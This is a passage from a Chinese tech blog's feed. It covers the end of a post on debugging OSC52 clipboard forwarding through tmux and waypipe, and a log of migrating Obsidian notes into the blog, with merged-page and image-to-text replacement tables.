&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;重启 opencode TUI（拿到当前 SSH 会话的新 waypipe socket），按 &lt;code&gt;ctrl+x y&lt;&#x2F;code&gt;，
内容即刻到达本地 kitty 剪贴板（信封直达，不再有 waypipe 的秒级延迟）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zong-jie-yan-zheng-ju-zhen&quot;&gt;总结：验证矩阵&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;主张&lt;&#x2F;th&gt;&lt;th&gt;验证角度&lt;&#x2F;th&gt;&lt;th&gt;结果&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;跨终端边界只有 OSC52（host 腿 remote 判定默认跳过）&lt;&#x2F;td&gt;&lt;td&gt;字符串统计 + 双源逻辑提取 + 三环境动态捕获&lt;&#x2F;td&gt;&lt;td&gt;✅ 外部工具 0 命中；&lt;code&gt;env -u TMUX&lt;&#x2F;code&gt;&#x2F;剥 DISPLAY 均照发&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;复制不 spawn 外部剪贴板工具&lt;&#x2F;td&gt;&lt;td&gt;复制后 &lt;code&gt;pgrep xclip&#x2F;wl-copy&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;✅ 零残留进程&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;tmux&amp;lt;3.6 强制 DCS 信封&lt;&#x2F;td&gt;&lt;td&gt;静态逻辑 + pipe-pane 真实字节捕获&lt;&#x2F;td&gt;&lt;td&gt;✅ 仅 1 次且在信封内&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;信封被默认配置静默丢弃&lt;&#x2F;td&gt;&lt;td&gt;伪终端假客户端开关对照&lt;&#x2F;td&gt;&lt;td&gt;✅ off=0 &#x2F; on=1&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;按键链路（leader→y→toast）正常，失败在下游&lt;&#x2F;td&gt;&lt;td&gt;全程 capture-pane 截屏 diff&lt;&#x2F;td&gt;&lt;td&gt;✅ 会话无文本时 toast &quot;No text parts found&quot;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;tmux 原生转发不可靠&lt;&#x2F;td&gt;&lt;td&gt;假客户端 10 次发射 + terminfo 审计&lt;&#x2F;td&gt;&lt;td&gt;⚠️ 2&#x2F;10 间歇成功；stock terminfo 全部缺 Ms&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Wayland 剪贴板通道（wl-copy 工具级）waypipe 可用性&lt;&#x2F;td&gt;&lt;td&gt;写入回读 + 三态超时实验&lt;&#x2F;td&gt;&lt;td&gt;⚠️ 健康 2.8s &#x2F; 死文件快败 &#x2F; 僵尸无限挂起（原生 host 腿同协议同通道，带 1s 超时）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;xclip spawn 挂死&lt;&#x2F;td&gt;&lt;td&gt;复现脚本计时&lt;&#x2F;td&gt;&lt;td&gt;✅ pipe 挂死 &#x2F; ignore 秒退（自研 spawn 方案的坑，opencode 不涉及）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;排查这类&quot;环境变量都对但功能不通&quot;的问题，多层链路里&lt;strong&gt;每一环都要有独立的字节级证据&lt;&#x2F;strong&gt;：
静态看代码、动态抓输出、开关做对照。环境变量只是入口，真正的执行链在
&lt;code&gt;进程边界 → 转义序列 → tmux 解析 → 终端能力协商 → 本地剪贴板&lt;&#x2F;code&gt; 的每一跳上。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>obsidian 摘录迁移说明</title>
        <published>2026-10-08T00:00:00+00:00</published>
        <updated>2026-10-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/migration-log/"/>
        <id>https://vercel.juzhong.asia/obsidian/migration-log/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/migration-log/">&lt;h1 id=&quot;obsidian-zhai-lu-qian-yi-shuo-ming&quot;&gt;obsidian 摘录迁移说明&lt;&#x2F;h1&gt;
&lt;p&gt;本文记录 2026-10 从 &lt;code&gt;~&#x2F;project&#x2F;obsidian&#x2F;reference&#x2F;&lt;&#x2F;code&gt; 迁移到博客 &lt;code&gt;content&#x2F;obsidian&#x2F;&lt;&#x2F;code&gt; 的全部处理决策。源目录未做任何修改，所有丢弃&#x2F;替换只发生在博客侧。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zong-lan&quot;&gt;总览&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;数量&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;源 md 文件&lt;&#x2F;td&gt;&lt;td&gt;393&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;迁移后页面&lt;&#x2F;td&gt;&lt;td&gt;296（合集页 15，带本地图片的页面 9）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;同题&#x2F;文件名变体去重&lt;&#x2F;td&gt;&lt;td&gt;26&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;正文完全重复去重&lt;&#x2F;td&gt;&lt;td&gt;4&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;空壳索引文件跳过&lt;&#x2F;td&gt;&lt;td&gt;8&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;迁移图片（内容哈希去重后）&lt;&#x2F;td&gt;&lt;td&gt;1085（共享 1024 → &lt;code&gt;static&#x2F;obsidian&#x2F;assets&#x2F;&lt;&#x2F;code&gt;，其余随页面 bundle 存放）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;未被引用、未迁移的图片&lt;&#x2F;td&gt;&lt;td&gt;241&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;图片→文字版替换&lt;&#x2F;td&gt;&lt;td&gt;72&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;图片判定为装饰&#x2F;垃圾直接移除&lt;&#x2F;td&gt;&lt;td&gt;34&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;迁移中发现的缺失图片引用&lt;&#x2F;td&gt;&lt;td&gt;26&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;扩展名修复（.image&#x2F;.awebp→真实格式）&lt;&#x2F;td&gt;&lt;td&gt;156&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;note&#x2F; 目录&lt;&#x2F;td&gt;&lt;td&gt;6 张孤例图片已全部处理：5 张插入对应文章、1 张入杂项页；reconstruct.py 为本地脚本未迁移&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;smyl&#x2F; 目录&lt;&#x2F;td&gt;&lt;td&gt;工作记录等私人内容，按迁移范围排除&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;处理原则：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;与博客已有文章重复的不迁移&lt;&#x2F;strong&gt;：仅发现 1 例标题完全一致（《DNS报文格式》，博客已有同内容文章），其余主题相近但内容不同的均保留并迁移。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;相似主题合并&lt;&#x2F;strong&gt;：同一主题目录下的系列文件合并为一篇合集页（见下表）；平铺的上下&#x2F;中篇系列（如 PGP 三部曲、AES 上下篇）也做了合并。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;图片有损处理&lt;&#x2F;strong&gt;：超过 300KB 的大图与低于 3KB 的小图逐张人工（模型）审查——终端截图&#x2F;表格转写为文字版，logo&#x2F;广告等装饰图直接移除，有价值且难以文字化的保留。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;主题标签&lt;&#x2F;strong&gt;：按标题+正文关键词为每篇自动打 1~4 个主题标签（Rust、C++、密码学、网络、代理与科学上网、虚拟化等 30 类），可通过顶部&quot;标签&quot;页按主题浏览；全部页面同时带有 &lt;code&gt;obsidian&lt;&#x2F;code&gt; 标记，分类归于&quot;摘录&quot;。&lt;&#x2F;li&gt;
&lt;li&gt;全文清理了零宽字符、纯 URL 导航 bullet 等网页抓取残留。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;he-bing-de-he-ji-ye&quot;&gt;合并的合集页&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;合集页&lt;&#x2F;th&gt;&lt;th&gt;来源文件数&lt;&#x2F;th&gt;&lt;th&gt;来源&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;实现一个简单的 CRT（issue24 系列合集）&lt;&#x2F;td&gt;&lt;td&gt;18&lt;&#x2F;td&gt;&lt;td&gt;issue24 实现一个简单的CRT&#x2F;Issue 2 gcc的fvisibility选项.md；issue24 实现一个简单的CRT&#x2F;Issue 4 libc库的版本兼容问题.md；issue24 实现一个简单的CRT&#x2F;Issue 5 深入理解errno.md；issue24 实现一个简单的CRT&#x2F;Issue 6 深入理解系统调用.md；issue24 实现一个简单的CRT&#x2F;Issue 7 静态链接库的顺序问题.md；issue24 实现一个简单的CRT&#x2F;Issue 9 使用objcopy将二进制文件的的内容作为目标文件中的一个段.md；issue24 实现一个简单的CRT&#x2F;Issue10 弱符号的使用.md；issue24 实现一个简单的CRT&#x2F;Issue11 符号地址的确定.md；issue24 实现一个简单的CRT&#x2F;Issue12 重定位.md；issue24 实现一个简单的CRT&#x2F;Issue13 不依赖glibc的HelloWorld程序.md；issue24 实现一个简单的CRT&#x2F;Issue14 ELF可执行文件在虚拟地址空间的分布.md；issue24 实现一个简单的CRT&#x2F;Issue15 位置无关代码(PIC).md；issue24 实现一个简单的CRT&#x2F;Issue16 共享库及符号的版本控制实践_ 动态链接库符号版本控制.md；issue24 实现一个简单的CRT&#x2F;Issue17 函数返回值传递.md；issue24 实现一个简单的CRT&#x2F;Issue18 进程堆栈初始化.md；issue24 实现一个简单的CRT&#x2F;Issue20 获取签名apk的证书.md；issue24 实现一个简单的CRT&#x2F;Issue33 TLS-PSK协议分析.md；issue24 实现一个简单的CRT&#x2F;issue19 glibc的构造函数和析构函数.md&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Futures Explained in 200 Lines of Rust（Rust Future 系列合集）&lt;&#x2F;td&gt;&lt;td&gt;12&lt;&#x2F;td&gt;&lt;td&gt;rust future async await generator yeild&#x2F;1 Futures Explained in 200 Lines of Rust.md；rust future async await generator yeild&#x2F;2 Futures Explained in 200 Lines of Rust.md；rust future async await generator yeild&#x2F;3 Futures Explained in 200 Lines of Rust.md；rust future async await generator yeild&#x2F;4 Futures Explained in 200 Lines of Rust.md；rust future async await generator yeild&#x2F;5 await - Futures Explained in 200 Lines of Rust.md；rust future async await generator yeild&#x2F;6 Futures Explained in 200 Lines of Rust.md；rust future async await generator yeild&#x2F;7 主要例子 - Futures Explained in 200 Lines of Rust.md；rust future async await generator yeild&#x2F;8 Futures Explained in 200 Lines of Rust.md；rust future async await generator yeild&#x2F;9 Futures Explained in 200 Lines of Rust.md；rust future async await generator yeild&#x2F;Async Rust 的实现.md；rust future async await generator yeild&#x2F;rfcstext2033-experimental-coroutines.md at master · rust-langrfcs.md；rust future async await generator yeild&#x2F;rust中async代码块和async fn是怎么编译成状态机的？.md&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Linux 副屏方案合集&lt;&#x2F;td&gt;&lt;td&gt;8&lt;&#x2F;td&gt;&lt;td&gt;linux 副屏方案&#x2F;How to Use Your Tablet as a Second Monitor on Ubuntu.md；linux 副屏方案&#x2F;Linux下查看本机显示器分辨率(xrandr)&lt;em&gt;linux 获取当前屏幕分辨率.md；linux 副屏方案&#x2F;gnome virtual monitor&lt;&#x2F;em&gt; How to Share Virtual Extended Screen in Ubuntu 22.04 _ 24.04.md；linux 副屏方案&#x2F;gnome virtual monitor_ How to Share Virtual Extended Screen in Ubuntu 22.04 _ 24.04&#x2F;TMP BUGFIX_ Mouse cursor not visible in extend mode over RDP.md；linux 副屏方案&#x2F;使用 FreeRDP 远程连接 Windows 机器.md；linux 副屏方案&#x2F;在 Linux 上使用 Sunshine 把安卓平板作为虚拟副屏，画面清晰延迟极低.md；linux 副屏方案&#x2F;在 Wayland 下对某会议软件的屏幕共享方案，以及一些笔记.md；linux 副屏方案&#x2F;技术_如何使用移动设备作为 Linux 副屏.md&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Linux 笔记本电源管理资料合集&lt;&#x2F;td&gt;&lt;td&gt;6&lt;&#x2F;td&gt;&lt;td&gt;笔记本电源管理&#x2F;Linux TLP 电源管理教程.md；笔记本电源管理&#x2F;linux下使用笔记本的相关设置.md；笔记本电源管理&#x2F;linux笔记本电池管理,Linux系统笔记本电源管理方法实用指南.md；笔记本电源管理&#x2F;linux系统电源管理之常用工具_upower.md；笔记本电源管理&#x2F;桌面应用_TLP：一个可以延长 Linux 笔记本电池寿命的高级电源管理工具.md；笔记本电源管理&#x2F;调试 Linux 设备电源管理，解决笔记本发热和续航问题.md&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;CD&#x2F;DVD 刻录 - Debian Wiki 合集&lt;&#x2F;td&gt;&lt;td&gt;6&lt;&#x2F;td&gt;&lt;td&gt;CD-DVD - Debian Wiki&#x2F;ManipulatingISOs - Debian Wiki.md；BurnCd - Debian Wiki.md；CDDVD - Debian Wiki.md；How to Burn a CD or DVD ISO in the Linux Terminal  Baeldung on Linux.md；Linux Find Out Name Of DVD  CD-ROM  Blu-ray Writer Device.md；光盘文件格式-udf、iso9660、Joliet、Romeo_怎么看光盘是不是iso9660-CSDN博客.md&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Linux 虚拟网卡技术：Macvlan&lt;&#x2F;td&gt;&lt;td&gt;4&lt;&#x2F;td&gt;&lt;td&gt;Linux 虚拟网卡技术：Macvlan&#x2F;Docker的bridge和macvlan两种网络模式.md；Linux 虚拟网卡技术：Macvlan&#x2F;Docker跨主机通信之macvlan.md；Linux 虚拟网卡技术：Macvlan&#x2F;Macvlan 和 IPvlan.md；Linux 虚拟网卡技术：Macvlan&#x2F;docker使用macvlan配置网络，使容器与宿主机在同一局域网，广播域内_docker macvlan dhcp.md&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;FFmpeg 视频处理相关合集&lt;&#x2F;td&gt;&lt;td&gt;3&lt;&#x2F;td&gt;&lt;td&gt;FFmpeg 视频处理等相关&#x2F;ffmpeg转码常用容器、编码格式与解编码器的搭配总结，-c与-f参数的运用.md；FFmpeg 视频处理等相关&#x2F;ffmpeg：文件格式、封装格式、编码_ffmpeg 支持rmvb格式.md；FFmpeg 视频处理等相关&#x2F;【FFmpeg】FFmpeg 相关术语简介 ( 容器 _ 媒体流 _ 数据帧 _ 数据包 _ 编解码器 _ 复用.md&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;C++20 中的 CPO（定制点对象）与 niebloid&lt;&#x2F;td&gt;&lt;td&gt;3&lt;&#x2F;td&gt;&lt;td&gt;C++20中的CPO（定制点对象）与niebloid——ranges受约束算法的调用 - zclll_s blog&#x2F;C++ 20 CPO 和 Ranges 新算法.md；C++20中的CPO（定制点对象）与niebloid——ranges受约束算法的调用 - zclll_s blog&#x2F;C++的定制点设计.md；C++20中的CPO（定制点对象）与niebloid——ranges受约束算法的调用 - zclll_s blog&#x2F;Niebloids and Customization Point Objects.md&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;延时 ACK 与 Nagle 算法结合&lt;&#x2F;td&gt;&lt;td&gt;2&lt;&#x2F;td&gt;&lt;td&gt;延时 ACK 与 Nagle 算法结合&#x2F;Linux下TCP延迟确认(Delayed Ack)机制导致的时延问题分析-腾讯云开发者社区-腾讯云.md；延时 ACK 与 Nagle 算法结合&#x2F;TCP_NODELAY &amp;amp; Nagle_s Algorithm.md&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;将 ova&#x2F;qcow2 导入到 PVE 虚拟机&lt;&#x2F;td&gt;&lt;td&gt;2&lt;&#x2F;td&gt;&lt;td&gt;将ova或qcow2导入到PVE虚拟机&#x2F;OVF 与 OVA 区别与转换.md；将ova或qcow2导入到PVE虚拟机&#x2F;使用qemu-nbd挂载qcow2.md&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;SSH FAQ 问题记录&lt;&#x2F;td&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;ssh FQA&#x2F;ERROR_ Secsh channel open FAILED_ Connect failed.md&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;2021年，用更现代的方法使用PGP&lt;&#x2F;td&gt;&lt;td&gt;3&lt;&#x2F;td&gt;&lt;td&gt;2021年，用更现代的方法使用PGP（上）.md；2021年，用更现代的方法使用PGP（中）.md；2021年，用更现代的方法使用PGP（下）.md&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;30分钟搞定AES系列&lt;&#x2F;td&gt;&lt;td&gt;2&lt;&#x2F;td&gt;&lt;td&gt;30分钟搞定AES系列（上）：基础特性-腾讯云开发者社区-腾讯云.md；30分钟搞定AES系列（下）：IV与加密语义安全性探究-腾讯云开发者社区-腾讯云.md&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;tu-pian-wen-zi-ban-ti-huan-ji-lu&quot;&gt;图片文字版替换记录&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;图片&lt;&#x2F;th&gt;&lt;th&gt;替代文字&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;aes-ciphertext-random-noise.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;密文随机性示意大图：竖直彩色条纹背景上有两条水平方向的纯噪点条带（右下角 bowenerchen 水印），整体如电视雪花——加密后的数据呈均匀随机分布，已看不出任何原图条纹或图案结构。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;aes-ciphertext-random-noise-2.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;整幅为均匀随机噪点（电视雪花状，右下角 bowenerchen 水印），示意 AES 加密输出的密文与随机数据无异，肉眼无法从密文中分辨任何明文结构或图案。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;wireshark-usb-device-descriptor.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Wireshark 抓包的 USB 设备描述符：bLength=18；bDescriptorType=0x01（DEVICE）；bcdUSB=0x0200；bDeviceClass=0x00（类信息由接口描述符给出）；bMaxPacketSize0=64；idVendor=Qualcomm (0x05c6)；idProduct=Gobi Wireless Modem (0x9008)；iManufacturer=1、iProduct=2；bNumConfigurations=1。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;vim-multicursor-macro-record-2.gif&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;vim 多光标宏操作 GIF：底部状态栏显示 recording，输入框显示 qq，演示在多光标场景下用 qq 结束宏录制，录制的改词动作在所有光标处回放，配合前两步实现多行代码中 var→const 的批量替换。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;openssl-s-client-cert-info.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;终端执行 openssl s_client -connect wangriyu.wang:443&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;grub-stage-files.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;GRUB stage 文件终端截图：&#x2F;usr&#x2F;share&#x2F;grub&#x2F;x86_64-redhat&#x2F; 与 &#x2F;boot&#x2F;grub&#x2F; 下均含各文件系统版本的 stage1_5（e2fs&#x2F;fat&#x2F;ffs&#x2F;iso9660&#x2F;jfs&#x2F;minix&#x2F;reiserfs&#x2F;ufs2&#x2F;vstafs&#x2F;xfs，约 12~15K）、stage1（仅 512 字节，装入 MBR）与 stage2（124K，核心引导代码）；可用 find &#x2F;boot&#x2F;grub&#x2F; -name &quot;&lt;em&gt;stage&lt;&#x2F;em&gt;&quot;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;vim-multiple-cursors-demo.gif&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;vim 多光标演示 GIF：多行 JS 代码中的多个 var 关键字同时被选中形成多个光标，一处输入（输入框显示 var↵）即同步应用到所有光标位置，演示 vim 多光标插件「一处编辑、多处生效」的批量编辑效果。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;vim-multicursor-macro-record.gif&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;vim 多光标+宏录制 GIF：底部状态栏显示 -- INSERT -- recording，输入框显示 qqce——先按 qq 在寄存器 q 开始录制宏，再按 ce（change to end of word）进入插入模式改写当前词（var 改为 const），多光标下宏会在每个光标处同时生效。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;kernel-hotpatch-ftrace-checkpoint.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;动态链接库业界方案：内核热补丁以 SUSE kGraft、Red Hat kpatch、Oracle Ksplice 为代表——补丁后函数开头改 call ftrace&#x2F;kpatch 检查点，命中转 New Function，可不重启修复内核缺陷。进程热补丁：新函数替换旧函数，Android 常用 plthook、android-inline-hook；修复后 func_v1 改为 jump func_v2→return。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;edid-firmware-second-screen.jpg&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Obsidian 笔记截图，副屏扩展配置步骤：获取显示器对应的 EDID 文件放入 &#x2F;usr&#x2F;lib&#x2F;firmware&#x2F;edid&#x2F;；在 grub 内核参数添加 drm.edid_firmware=HDMI-A-1:edid&#x2F;&amp;lt;文件名&amp;gt;，update-grub 后重启；电脑装 sunshine、平板装 moonlight，在 sunshine WebUI 用 KMS Monitor List 查虚拟显示器编号填入 Display number，ufw 放行端口。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;mover-prologue-disasm.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;确定待改函数入口：已被调用过——.got 存真实地址，.dynsym 可查符号，其地址即入口；未调用过——先跳 .plt 桩再到 .got.plt 条目，首次调用条目存解析地址，动态链接器查 .rela.plt 后转交对应库，函数地址 = .rela.plt 的 r_offset + ELF 起始地址。再把旧函数 TEXT 段改为跳新函数指令（截图为 MoveR 函数 prologue 反汇编）。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;pic-plt-got-addressing.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;地址无关代码 PIC：可在内存任意位置正确运行、不受加载位置影响。示例：program(0x400000) 经 PLT（bar_func 0x800300、foo_func 0x603400）相对寻址调用 libfoo.so(0x600000)&#x2F;libbar.so(0x800000)。要点：偏移量固定；GOT 运行期填充查真实地址；库 .data&#x2F;.text 多进程共享、.got 独享；外部符号加载时由动态链接器填 .got；lazy binding 走 .plt→.got.plt。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;ffprobe-flv-stream-info.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;cmd 执行 ffprobe 1.flv 查看 B 站下载的 FLV：时长 00:03:00.18、总码率 290 kb&#x2F;s；流 #0:0 为 h264 High 1920x1080、153kb&#x2F;s、25.03fps，流 #0:1 为 aac LC 44100Hz 立体声 128kb&#x2F;s；元数据 datasize 6531983、videosize 2512679、audiosize 2970280、lasttimestamp 180。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;pathfinding-test-maps.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;图 4-1-2 展示寻路算法常用的五种测试地图：(a)(b) Room 房间型（大片空地由少量墙&#x2F;门洞分隔），(c)(d) Maze 迷宫型（走廊迂回密集、墙有粗细两种风格），以及 Random 随机地图（网格中随机散布障碍点）。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;oauth-grants-infographic.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;OAuth 笔记信息图：有 1.0&#x2F;2.0&#x2F;2.1 三个版本，共 4 种授权方式。核心授权码流程：客户端携 client_id 跳转授权服务器→登录表单→用户提交账密→按 scope 授权→携 authorization_code 重定向回 redirect_uri→用 code+client_secret 换 token→凭 token 访问资源服务器。隐式流程直接返回 token；客户端凭证流程无用户交互；密码流程账密直交授权服务器；token 均带过期时间与 refresh_token。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;ffmpeg-avi-to-webm.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;cmd 执行 ffmpeg -i 1.avi -f webm 1.webm：输入 h264 1920x1080、383kb&#x2F;s，mp3 44100Hz、128kb&#x2F;s；流映射 vp9（libvpx-vp9）与 opus（libopus），未指定码率时 vp9 默认 CRF=32；输出 3 分钟共 7460kB、码率 339.3kbits&#x2F;s，speed=0.312x。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;axum-extractor-types.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;axum Extractor：BodyStream 请求体流、ConnectInfo 连接信息、ContentLengthLimit 限大小、Extension 取扩展值、Form 表单解析、MatchedPath 匹配路径、Multipart 文件上传、OriginalUri 原始 URI、Path URL 参数解析、Query 查询串解析、RawBody&#x2F;RawQuery 原始体&#x2F;查询串、TypedHeader 类型化头、WebSocketUpgrade WS 升级。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
